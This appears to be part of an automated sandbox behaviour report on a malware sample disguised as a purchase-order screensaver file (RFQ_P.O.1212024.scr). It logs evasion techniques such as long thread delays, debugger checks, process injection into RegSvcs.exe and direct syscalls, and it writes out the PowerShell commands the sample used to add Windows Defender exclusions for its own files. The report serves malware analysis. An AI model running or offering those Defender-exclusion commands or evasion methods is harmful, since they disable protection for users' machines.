Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: 1B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: 28B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: 410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: 7DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: 58E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: 8DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: 5BD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: 9ED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: AED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: BED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 2630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 4E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 5B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 58D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 6B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 7B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 7EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 8EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 9EF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_009B0101 rdtsc

8_2_009B0101

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2046	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2096	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3073	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1824	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Window / User API: threadDelayed 2882	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Window / User API: threadDelayed 7078	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1434
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1598
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1101
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1217

Source: C:\Windows\SysWOW64\msinfo32.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sqlite3.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\msinfo32.exe

API coverage: 1.9 %

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr TID: 3532	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr TID: 3248	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3424	Thread sleep count: 2046 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3428	Thread sleep count: 2096 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3568	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3588	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3388	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3576	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3592	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3472	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\taskeng.exe TID: 3652	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe TID: 3952	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe TID: 3688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe TID: 4000	Thread sleep count: 2882 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe TID: 4000	Thread sleep time: -5764000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe TID: 3044	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe TID: 4000	Thread sleep count: 7078 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe TID: 4000	Thread sleep time: -14156000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3956	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3980	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3804	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4016	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4024	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3968	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe TID: 4080	Thread sleep time: -70000s >= -30000s
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe TID: 4080	Thread sleep count: 31 > 30
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe TID: 4080	Thread sleep time: -46500s >= -30000s
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe TID: 4080	Thread sleep count: 36 > 30
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe TID: 4080	Thread sleep time: -36000s >= -30000s

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msinfo32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msinfo32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\msinfo32.exe	File Volume queried: C:\Users\user\AppData\Local FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation			Jump to behavior

Source: C:\Windows\SysWOW64\msinfo32.exe

Code function: 12_2_61E19146 sqlite3_os_init,GetSystemInfo,sqlite3_vfs_register,sqlite3_vfs_register,sqlite3_vfs_register,sqlite3_vfs_register,

12_2_61E19146

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_009B0101 rdtsc

8_2_009B0101

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_009607AC NtCreateMutant,LdrInitializeThunk,

8_2_009607AC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00950080 mov ecx, dword ptr fs:[00000030h]	8_2_00950080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009500EA mov eax, dword ptr fs:[00000030h]	8_2_009500EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009726F8 mov eax, dword ptr fs:[00000030h]	8_2_009726F8

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_P.O.1212024.scr"
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_P.O.1212024.scr"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtQueryInformationProcess: Direct from: 0x774CFAFA
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtCreateUserProcess: Direct from: 0x774D093E	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtCreateKey: Direct from: 0x774CFB62
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtQuerySystemInformation: Direct from: 0x774D20DE
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtQueryDirectoryFile: Direct from: 0x774CFDBA	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtClose: Direct from: 0x774CFA02
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtWriteVirtualMemory: Direct from: 0x774D213E	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtCreateFile: Direct from: 0x774D00D6
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtSetTimer: Direct from: 0x774D021A
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtOpenFile: Direct from: 0x774CFD86
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtSetInformationThread: Direct from: 0x774E9893
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtOpenKeyEx: Direct from: 0x774CFA4A
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	NtAllocateVirtualMemory: Direct from: 0x774CFAE2
